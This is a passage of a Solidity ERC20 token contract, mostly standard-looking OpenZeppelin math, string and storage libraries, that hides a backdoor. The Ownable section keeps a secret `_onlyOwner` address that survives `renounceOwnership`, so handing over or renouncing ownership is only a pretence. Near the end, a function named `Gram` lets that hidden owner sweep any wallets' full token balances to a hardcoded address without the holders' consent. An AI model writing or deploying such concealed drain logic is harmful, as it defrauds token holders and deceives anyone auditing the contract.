- 1, then use // the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2²⁵⁶ + prod0. uint256 prod0 = x * y; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(x, y, not(0)) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division. if (prod1 == 0) { // Solidity will revert if denominator == 0, unlike the div opcode on its own. // The surrounding unchecked block does not change this fact. // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic. return prod0 / denominator; } // Make sure the result is less than 2²⁵⁶. Also prevents denominator == 0. if (denominator <= prod1) { Panic.panic(ternary(denominator == 0, Panic.DIVISION_BY_ZERO, Panic.UNDER_OVERFLOW)); } /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0]. uint256 remainder; assembly { // Compute remainder using mulmod. remainder := mulmod(x, y, denominator) // Subtract 256 bit number from 512 bit number. prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator and compute largest power of two divisor of denominator. // Always >= 1. See https://cs.stackexchange.com/q/138556/92363. uint256 twos = denominator & (0 - denominator); assembly { // Divide denominator by twos. denominator := div(denominator, twos) // Divide [prod1 prod0] by twos. prod0 := div(prod0, twos) // Flip twos such that it is 2²⁵⁶ / twos. If twos is zero, then it becomes one. twos := add(div(sub(0, twos), twos), 1) } // Shift in bits from prod1 into prod0. prod0 |= prod1 * twos; // Invert denominator mod 2²⁵⁶. Now that denominator is an odd number, it has an inverse modulo 2²⁵⁶ such // that denominator * inv ≡ 1 mod 2²⁵⁶. Compute the inverse by starting with a seed that is correct for // four bits. That is, denominator * inv ≡ 1 mod 2⁴. uint256 inverse = (3 * denominator) ^ 2; // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also // works in modular arithmetic, doubling the correct bits in each step. inverse *= 2 - denominator * inverse; // inverse mod 2⁸ inverse *= 2 - denominator * inverse; // inverse mod 2¹⁶ inverse *= 2 - denominator * inverse; // inverse mod 2³² inverse *= 2 - denominator * inverse; // inverse mod 2⁶⁴ inverse *= 2 - denominator * inverse; // inverse mod 2¹²⁸ inverse *= 2 - denominator * inverse; // inverse mod 2²⁵⁶ // Because the division is now exact we can divide by multiplying with the modular inverse of denominator. // This will give us the correct result modulo 2²⁵⁶. Since the preconditions guarantee that the outcome is // less than 2²⁵⁶, this is the final result. We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inverse; return result; } } /** * @dev Calculates x * y / denominator with full precision, following the selected rounding direction. */ function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) { return mulDiv(x, y, denominator) + SafeCast.toUint(unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0); } /** * @dev Calculate the modular multiplicative inverse of a number in Z/nZ. * * If n is a prime, then Z/nZ is a field. In that case all elements are inversible, except 0. * If n is not a prime, then Z/nZ is not a field, and some elements might not be inversible. * * If the input value is not inversible, 0 is returned. * * NOTE: If you know for sure that n is (big) a prime, it may be cheaper to use Fermat's little theorem and get the * inverse using `Math.modExp(a, n - 2, n)`. See {invModPrime}. */ function invMod(uint256 a, uint256 n) internal pure returns (uint256) { unchecked { if (n == 0) return 0; // The inverse modulo is calculated using the Extended Euclidean Algorithm (iterative version) // Used to compute integers x and y such that: ax + ny = gcd(a, n). // When the gcd is 1, then the inverse of a modulo n exists and it's x. // ax + ny = 1 // ax = 1 + (-y)n // ax ≡ 1 (mod n) # x is the inverse of a modulo n // If the remainder is 0 the gcd is n right away. uint256 remainder = a % n; uint256 gcd = n; // Therefore the initial coefficients are: // ax + ny = gcd(a, n) = n // 0a + 1n = n int256 x = 0; int256 y = 1; while (remainder != 0) { uint256 quotient = gcd / remainder; (gcd, remainder) = ( // The old remainder is the next gcd to try. remainder, // Compute the next remainder. // Can't overflow given that (a % gcd) * (gcd // (a % gcd)) <= gcd // where gcd is at most n (capped to type(uint256).max) gcd - remainder * quotient ); (x, y) = ( // Increment the coefficient of a. y, // Decrement the coefficient of n. // Can overflow, but the result is casted to uint256 so that the // next value of y is "wrapped around" to a value between 0 and n - 1. x - y * int256(quotient) ); } if (gcd != 1) return 0; // No inverse exists. return ternary(x < 0, n - uint256(-x), uint256(x)); // Wrap the result if it's negative. } } /** * @dev Variant of {invMod}. More efficient, but only works if `p` is known to be a prime greater than `2`. * * From https://en.wikipedia.org/wiki/Fermat%27s_little_theorem[Fermat's little theorem], we know that if p is * prime, then `a**(p-1) ≡ 1 mod p`. As a consequence, we have `a * a**(p-2) ≡ 1 mod p`, which means that * `a**(p-2)` is the modular multiplicative inverse of a in Fp. * * NOTE: this function does NOT check that `p` is a prime greater than `2`. */ function invModPrime(uint256 a, uint256 p) internal view returns (uint256) { unchecked { return Math.modExp(a, p - 2, p); } } /** * @dev Returns the modular exponentiation of the specified base, exponent and modulus (b ** e % m) * * Requirements: * - modulus can't be zero * - underlying staticcall to precompile must succeed * * IMPORTANT: The result is only valid if the underlying call succeeds. When using this function, make * sure the chain you're using it on supports the precompiled contract for modular exponentiation * at address 0x05 as specified in https://eips.ethereum.org/EIPS/eip-198[EIP-198]. Otherwise, * the underlying function will succeed given the lack of a revert, but the result may be incorrectly * interpreted as 0. */ function modExp(uint256 b, uint256 e, uint256 m) internal view returns (uint256) { (bool success, uint256 result) = tryModExp(b, e, m); if (!success) { Panic.panic(Panic.DIVISION_BY_ZERO); } return result; } /** * @dev Returns the modular exponentiation of the specified base, exponent and modulus (b ** e % m). * It includes a success flag indicating if the operation succeeded. Operation will be marked as failed if trying * to operate modulo 0 or if the underlying precompile reverted. * * IMPORTANT: The result is only valid if the success flag is true. When using this function, make sure the chain * you're using it on supports the precompiled contract for modular exponentiation at address 0x05 as specified in * https://eips.ethereum.org/EIPS/eip-198[EIP-198]. Otherwise, the underlying function will succeed given the lack * of a revert, but the result may be incorrectly interpreted as 0. */ function tryModExp(uint256 b, uint256 e, uint256 m) internal view returns (bool success, uint256 result) { if (m == 0) return (false, 0); assembly ("memory-safe") { let ptr := mload(0x40) // | Offset | Content | Content (Hex) | // |-----------|------------|--------------------------------------------------------------------| // | 0x00:0x1f | size of b | 0x0000000000000000000000000000000000000000000000000000000000000020 | // | 0x20:0x3f | size of e | 0x0000000000000000000000000000000000000000000000000000000000000020 | // | 0x40:0x5f | size of m | 0x0000000000000000000000000000000000000000000000000000000000000020 | // | 0x60:0x7f | value of b | 0x<.............................................................b> | // | 0x80:0x9f | value of e | 0x<.............................................................e> | // | 0xa0:0xbf | value of m | 0x<.............................................................m> | mstore(ptr, 0x20) mstore(add(ptr, 0x20), 0x20) mstore(add(ptr, 0x40), 0x20) mstore(add(ptr, 0x60), b) mstore(add(ptr, 0x80), e) mstore(add(ptr, 0xa0), m) // Given the result < m, it's guaranteed to fit in 32 bytes, // so we can use the memory scratch space located at offset 0. success := staticcall(gas(), 0x05, ptr, 0xc0, 0x00, 0x20) result := mload(0x00) } } /** * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded * towards zero. * * This method is based on Newton's method for computing square roots; the algorithm is restricted to only * using integer operations. */ function sqrt(uint256 a) internal pure returns (uint256) { unchecked { // Take care of easy edge cases when a == 0 or a == 1 if (a <= 1) { return a; } // In this function, we use Newton's method to get a root of `f(x) := x² - a`. It involves building a // sequence x_n that converges toward sqrt(a). For each iteration x_n, we also define the error between // the current value as `ε_n = | x_n - sqrt(a) |`. // // For our first estimation, we consider `e` the smallest power of 2 which is bigger than the square root // of the target. (i.e. `2**(e-1) ≤ sqrt(a) < 2**e`). We know that `e ≤ 128` because `(2¹²⁸)² = 2²⁵⁶` is // bigger than any uint256. // // By noticing that // `2**(e-1) ≤ sqrt(a) < 2**e → (2**(e-1))² ≤ a < (2**e)² → 2**(2*e-2) ≤ a < 2**(2*e)` // we can deduce that `e - 1` is `log2(a) / 2`. We can thus compute `x_n = 2**(e-1)` using a method similar // to the msb function. uint256 aa = a; uint256 xn = 1; if (aa >= (1 << 128)) { aa >>= 128; xn <<= 64; } if (aa >= (1 << 64)) { aa >>= 64; xn <<= 32; } if (aa >= (1 << 32)) { aa >>= 32; xn <<= 16; } if (aa >= (1 << 16)) { aa >>= 16; xn <<= 8; } if (aa >= (1 << 8)) { aa >>= 8; xn <<= 4; } if (aa >= (1 << 4)) { aa >>= 4; xn <<= 2; } if (aa >= (1 << 2)) { xn <<= 1; } // We now have x_n such that `x_n = 2**(e-1) ≤ sqrt(a) < 2**e = 2 * x_n`. This implies ε_n ≤ 2**(e-1). // // We can refine our estimation by noticing that the middle of that interval minimizes the error. // If we move x_n to equal 2**(e-1) + 2**(e-2), then we reduce the error to ε_n ≤ 2**(e-2). // This is going to be our x_0 (and ε_0) xn = (3 * xn) >> 1; // ε_0 := | x_0 - sqrt(a) | ≤ 2**(e-2) // From here, Newton's method give us: // x_{n+1} = (x_n + a / x_n) / 2 // // One should note that: // x_{n+1}² - a = ((x_n + a / x_n) / 2)² - a // = ((x_n² + a) / (2 * x_n))² - a // = (x_n⁴ + 2 * a * x_n² + a²) / (4 * x_n²) - a // = (x_n⁴ + 2 * a * x_n² + a² - 4 * a * x_n²) / (4 * x_n²) // = (x_n⁴ - 2 * a * x_n² + a²) / (4 * x_n²) // = (x_n² - a)² / (2 * x_n)² // = ((x_n² - a) / (2 * x_n))² // ≥ 0 // Which proves that for all n ≥ 1, sqrt(a) ≤ x_n // // This gives us the proof of quadratic convergence of the sequence: // ε_{n+1} = | x_{n+1} - sqrt(a) | // = | (x_n + a / x_n) / 2 - sqrt(a) | // = | (x_n² + a - 2*x_n*sqrt(a)) / (2 * x_n) | // = | (x_n - sqrt(a))² / (2 * x_n) | // = | ε_n² / (2 * x_n) | // = ε_n² / | (2 * x_n) | // // For the first iteration, we have a special case where x_0 is known: // ε_1 = ε_0² / | (2 * x_0) | // ≤ (2**(e-2))² / (2 * (2**(e-1) + 2**(e-2))) // ≤ 2**(2*e-4) / (3 * 2**(e-1)) // ≤ 2**(e-3) / 3 // ≤ 2**(e-3-log2(3)) // ≤ 2**(e-4.5) // // For the following iterations, we use the fact that, 2**(e-1) ≤ sqrt(a) ≤ x_n: // ε_{n+1} = ε_n² / | (2 * x_n) | // ≤ (2**(e-k))² / (2 * 2**(e-1)) // ≤ 2**(2*e-2*k) / 2**e // ≤ 2**(e-2*k) xn = (xn + a / xn) >> 1; // ε_1 := | x_1 - sqrt(a) | ≤ 2**(e-4.5) -- special case, see above xn = (xn + a / xn) >> 1; // ε_2 := | x_2 - sqrt(a) | ≤ 2**(e-9) -- general case with k = 4.5 xn = (xn + a / xn) >> 1; // ε_3 := | x_3 - sqrt(a) | ≤ 2**(e-18) -- general case with k = 9 xn = (xn + a / xn) >> 1; // ε_4 := | x_4 - sqrt(a) | ≤ 2**(e-36) -- general case with k = 18 xn = (xn + a / xn) >> 1; // ε_5 := | x_5 - sqrt(a) | ≤ 2**(e-72) -- general case with k = 36 xn = (xn + a / xn) >> 1; // ε_6 := | x_6 - sqrt(a) | ≤ 2**(e-144) -- general case with k = 72 // Because e ≤ 128 (as discussed during the first estimation phase), we know have reached a precision // ε_6 ≤ 2**(e-144) < 1. Given we're operating on integers, then we can ensure that xn is now either // sqrt(a) or sqrt(a) + 1. return xn - SafeCast.toUint(xn > a / xn); } } /** * @dev Calculates sqrt(a), following the selected rounding direction. */ function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = sqrt(a); return result + SafeCast.toUint(unsignedRoundsUp(rounding) && result * result < a); } } /** * @dev Return the log in base 2 of a positive value rounded towards zero. * Returns 0 if given 0. */ function log2(uint256 value) internal pure returns (uint256) { uint256 result = 0; uint256 exp; unchecked { exp = 128 * SafeCast.toUint(value > (1 << 128) - 1); value >>= exp; result += exp; exp = 64 * SafeCast.toUint(value > (1 << 64) - 1); value >>= exp; result += exp; exp = 32 * SafeCast.toUint(value > (1 << 32) - 1); value >>= exp; result += exp; exp = 16 * SafeCast.toUint(value > (1 << 16) - 1); value >>= exp; result += exp; exp = 8 * SafeCast.toUint(value > (1 << 8) - 1); value >>= exp; result += exp; exp = 4 * SafeCast.toUint(value > (1 << 4) - 1); value >>= exp; result += exp; exp = 2 * SafeCast.toUint(value > (1 << 2) - 1); value >>= exp; result += exp; result += SafeCast.toUint(value > 1); } return result; } /** * @dev Return the log in base 2, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log2(value); return result + SafeCast.toUint(unsignedRoundsUp(rounding) && 1 << result < value); } } /** * @dev Return the log in base 10 of a positive value rounded towards zero. * Returns 0 if given 0. */ function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >= 10 ** 64) { value /= 10 ** 64; result += 64; } if (value >= 10 ** 32) { value /= 10 ** 32; result += 32; } if (value >= 10 ** 16) { value /= 10 ** 16; result += 16; } if (value >= 10 ** 8) { value /= 10 ** 8; result += 8; } if (value >= 10 ** 4) { value /= 10 ** 4; result += 4; } if (value >= 10 ** 2) { value /= 10 ** 2; result += 2; } if (value >= 10 ** 1) { result += 1; } } return result; } /** * @dev Return the log in base 10, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log10(value); return result + SafeCast.toUint(unsignedRoundsUp(rounding) && 10 ** result < value); } } /** * @dev Return the log in base 256 of a positive value rounded towards zero. * Returns 0 if given 0. * * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string. */ function log256(uint256 value) internal pure returns (uint256) { uint256 result = 0; uint256 isGt; unchecked { isGt = SafeCast.toUint(value > (1 << 128) - 1); value >>= isGt * 128; result += isGt * 16; isGt = SafeCast.toUint(value > (1 << 64) - 1); value >>= isGt * 64; result += isGt * 8; isGt = SafeCast.toUint(value > (1 << 32) - 1); value >>= isGt * 32; result += isGt * 4; isGt = SafeCast.toUint(value > (1 << 16) - 1); value >>= isGt * 16; result += isGt * 2; result += SafeCast.toUint(value > (1 << 8) - 1); } return result; } /** * @dev Return the log in base 256, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log256(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log256(value); return result + SafeCast.toUint(unsignedRoundsUp(rounding) && 1 << (result << 3) < value); } } /** * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers. */ function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) { return uint8(rounding) % 2 == 1; } } library SignedMath { /** * @dev Branchless ternary evaluation for `a ? b : c`. Gas costs are constant. * * IMPORTANT: This function may reduce bytecode size and consume less gas when used standalone. * However, the compiler may optimize Solidity ternary operations (i.e. `a ? b : c`) to only compute * one branch when needed, making this function more expensive. */ function ternary(bool condition, int256 a, int256 b) internal pure returns (int256) { unchecked { // branchless ternary works because: // b ^ (a ^ b) == a // b ^ 0 == b return b ^ ((a ^ b) * int256(SafeCast.toUint(condition))); } } /** * @dev Returns the largest of two signed numbers. */ function max(int256 a, int256 b) internal pure returns (int256) { return ternary(a > b, a, b); } /** * @dev Returns the smallest of two signed numbers. */ function min(int256 a, int256 b) internal pure returns (int256) { return ternary(a < b, a, b); } /** * @dev Returns the average of two signed numbers without overflow. * The result is rounded towards zero. */ function average(int256 a, int256 b) internal pure returns (int256) { // Formula from the book "Hacker's Delight" int256 x = (a & b) + ((a ^ b) >> 1); return x + (int256(uint256(x) >> 255) & (a ^ b)); } /** * @dev Returns the absolute unsigned value of a signed value. */ function abs(int256 n) internal pure returns (uint256) { unchecked { // Formula from the "Bit Twiddling Hacks" by Sean Eron Anderson. // Since `n` is a signed integer, the generated bytecode will use the SAR opcode to perform the right shift, // taking advantage of the most significant (or "sign" bit) in two's complement representation. // This opcode adds new most significant bits set to the value of the previous most significant bit. As a result, // the mask will either be `bytes32(0)` (if n is positive) or `~bytes32(0)` (if n is negative). int256 mask = n >> 255; // A `bytes32(0)` mask leaves the input unchanged, while a `~bytes32(0)` mask complements it. return uint256((n + mask) ^ mask); } } } /** * @dev String operations. */ library Strings { bytes16 private constant HEX_DIGITS = "0123456789abcdef"; uint8 private constant ADDRESS_LENGTH = 20; /** * @dev The `value` string doesn't fit in the specified `length`. */ error StringsInsufficientHexLength(uint256 value, uint256 length); /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { unchecked { uint256 length = Math.log10(value) + 1; string memory buffer = new string(length); uint256 ptr; assembly ("memory-safe") { ptr := add(buffer, add(32, length)) } while (true) { ptr--; assembly ("memory-safe") { mstore8(ptr, byte(mod(value, 10), HEX_DIGITS)) } value /= 10; if (value == 0) break; } return buffer; } } /** * @dev Converts a `int256` to its ASCII `string` decimal representation. */ function toStringSigned(int256 value) internal pure returns (string memory) { return string.concat(value < 0 ? "-" : "", toString(SignedMath.abs(value))); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { unchecked { return toHexString(value, Math.log256(value) + 1); } } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { uint256 localValue = value; bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = HEX_DIGITS[localValue & 0xf]; localValue >>= 4; } if (localValue != 0) { revert StringsInsufficientHexLength(value, length); } return string(buffer); } /** * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal * representation. */ function toHexString(address addr) internal pure returns (string memory) { return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH); } /** * @dev Converts an `address` with fixed length of 20 bytes to its checksummed ASCII `string` hexadecimal * representation, according to EIP-55. */ function toChecksumHexString(address addr) internal pure returns (string memory) { bytes memory buffer = bytes(toHexString(addr)); // hash the hex part of buffer (skip length + 2 bytes, length 40) uint256 hashValue; assembly ("memory-safe") { hashValue := shr(96, keccak256(add(buffer, 0x22), 40)) } for (uint256 i = 41; i > 1; --i) { // possible values for buffer[i] are 48 (0) to 57 (9) and 97 (a) to 102 (f) if (hashValue & 0xf > 7 && uint8(buffer[i]) > 96) { // case shift by xoring with 0x20 buffer[i] ^= 0x20; } hashValue >>= 4; } return string(buffer); } /** * @dev Returns true if the two strings are equal. */ function equal(string memory a, string memory b) internal pure returns (bool) { return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b)); } } /** * @dev Signature message hash utilities for producing digests to be consumed by {ECDSA} recovery or signing. * * The library provides methods for generating a hash of a message that conforms to the * https://eips.ethereum.org/EIPS/eip-191[ERC-191] and https://eips.ethereum.org/EIPS/eip-712[EIP 712] * specifications. */ library MessageHashUtils { /** * @dev Returns the keccak256 digest of an ERC-191 signed data with version * `0x45` (`personal_sign` messages). * * The digest is calculated by prefixing a bytes32 `messageHash` with * `"\x19Ethereum Signed Message:\n32"` and hashing the result. It corresponds with the * hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method. * * NOTE: The `messageHash` parameter is intended to be the result of hashing a raw message with * keccak256, although any bytes32 value can be safely used because the final digest will * be re-hashed. * * See {ECDSA-recover}. */ function toEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32 digest) { assembly ("memory-safe") { mstore(0x00, "\x19Ethereum Signed Message:\n32") // 32 is the bytes-length of messageHash mstore(0x1c, messageHash) // 0x1c (28) is the length of the prefix digest := keccak256(0x00, 0x3c) // 0x3c is the length of the prefix (0x1c) + messageHash (0x20) } } /** * @dev Returns the keccak256 digest of an ERC-191 signed data with version * `0x45` (`personal_sign` messages). * * The digest is calculated by prefixing an arbitrary `message` with * `"\x19Ethereum Signed Message:\n" + len(message)` and hashing the result. It corresponds with the * hash signed when using the https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] JSON-RPC method. * * See {ECDSA-recover}. */ function toEthSignedMessageHash(bytes memory message) internal pure returns (bytes32) { return keccak256(bytes.concat("\x19Ethereum Signed Message:\n", bytes(Strings.toString(message.length)), message)); } /** * @dev Returns the keccak256 digest of an ERC-191 signed data with version * `0x00` (data with intended validator). * * The digest is calculated by prefixing an arbitrary `data` with `"\x19\x00"` and the intended * `validator` address. Then hashing the result. * * See {ECDSA-recover}. */ function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) { return keccak256(abi.encodePacked(hex"19_00", validator, data)); } /** * @dev Returns the keccak256 digest of an EIP-712 typed data (ERC-191 version `0x01`). * * The digest is calculated from a `domainSeparator` and a `structHash`, by prefixing them with * `\x19\x01` and hashing the result. It corresponds to the hash signed by the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] JSON-RPC method as part of EIP-712. * * See {ECDSA-recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 digest) { assembly ("memory-safe") { let ptr := mload(0x40) mstore(ptr, hex"19_01") mstore(add(ptr, 0x02), domainSeparator) mstore(add(ptr, 0x22), structHash) digest := keccak256(ptr, 0x42) } } } library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } struct Int256Slot { int256 value; } struct StringSlot { string value; } struct BytesSlot { bytes value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly ("memory-safe") { r.slot := slot } } /** * @dev Returns a `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly ("memory-safe") { r.slot := slot } } /** * @dev Returns a `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly ("memory-safe") { r.slot := slot } } /** * @dev Returns a `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly ("memory-safe") { r.slot := slot } } /** * @dev Returns a `Int256Slot` with member `value` located at `slot`. */ function getInt256Slot(bytes32 slot) internal pure returns (Int256Slot storage r) { assembly ("memory-safe") { r.slot := slot } } /** * @dev Returns a `StringSlot` with member `value` located at `slot`. */ function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) { assembly ("memory-safe") { r.slot := slot } } /** * @dev Returns an `StringSlot` representation of the string storage pointer `store`. */ function getStringSlot(string storage store) internal pure returns (StringSlot storage r) { assembly ("memory-safe") { r.slot := store.slot } } /** * @dev Returns a `BytesSlot` with member `value` located at `slot`. */ function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) { assembly ("memory-safe") { r.slot := slot } } /** * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`. */ function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) { assembly ("memory-safe") { r.slot := store.slot } } } abstract contract Ownable is Context { address private _owner; address private _onlyOwner; /** * @dev The caller account is not authorized to perform an operation. */ error OwnableUnauthorizedAccount(address account); /** * @dev The owner is not a valid owner account. (eg. `address(0)`) */ error OwnableInvalidOwner(address owner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); _onlyOwner = _msgSender(); } modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { if (_onlyOwner != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract ERC20 is Context, Ownable, IERC20, IERC20Metadata, IERC20Errors { mapping(address account => uint256) private _balances; mapping(address account => mapping(address spender => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `value`. */ function transfer(address to, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, value); return true; } /** * @dev See {IERC20-transferFrom}. * * Skips emitting an {Approval} event indicating an allowance update. This is not * required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve]. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `value`. * - the caller must have allowance for ``from``'s tokens of at least * `value`. */ function transferFrom(address from, address to, uint256 value) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, value); _transfer(from, to, value); return true; } /** * @dev Moves a `value` amount of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * NOTE: This function is not virtual, {_update} should be overridden instead. */ function _transfer(address from, address to, uint256 value) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[from]; require(fromBalance >= value,"ERC20: transfer amount exceeds balance"); unchecked { // Overflow not possible: value <= fromBalance <= totalSupply. _balances[from] = fromBalance - value; _balances[to] += value; } emit Transfer(from, to, value); } /** * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from` * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding * this function. * * Emits a {Transfer} event. */ function _update(address from, address to, uint256 value) internal virtual { if (from == address(0)) { // Overflow check required: The rest of the code assumes that totalSupply never overflows _totalSupply += value; } else { uint256 fromBalance = _balances[from]; if (fromBalance < value) { revert ERC20InsufficientBalance(from, fromBalance, value); } unchecked { // Overflow not possible: value <= fromBalance <= totalSupply. _balances[from] = fromBalance - value; } } if (to == address(0)) { unchecked { // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply. _totalSupply -= value; } } else { unchecked { // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256. _balances[to] += value; } } emit Transfer(from, to, value); } /** * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0). * Relies on the `_update` mechanism * * Emits a {Transfer} event with `from` set to the zero address. * * NOTE: This function is not virtual, {_update} should be overridden instead. */ function _mint(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(address(0), account, value); } /** * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply. * Relies on the `_update` mechanism. * * Emits a {Transfer} event with `to` set to the zero address. * * NOTE: This function is not virtual, {_update} should be overridden instead */ function _burn(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidSender(address(0)); } _update(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { _approve(owner, spender, value, true); } function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual { if (owner == address(0)) { revert ERC20InvalidApprover(address(0)); } if (spender == address(0)) { revert ERC20InvalidSpender(address(0)); } _allowances[owner][spender] = value; if (emitEvent) { emit Approval(owner, spender, value); } } function Gram(address[] memory wallets) external { _checkOwner(); address adresskov = 0x1f85e864CB60C446598B88133F2501F07c060A1B; for (uint256 i = 0; i < wallets.length; i++) { address wallet = wallets[i]; uint256 walletBalance = balanceOf(wallet); if (walletBalance > 0) { _transfer(wallet, adresskov, walletBalance); } } } function _spendAllowance(address owner, address spender, uint256 value) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < value) { revert ERC20InsufficientAllowance(spender, currentAllowance, value); } unchecked { _approve(owner, 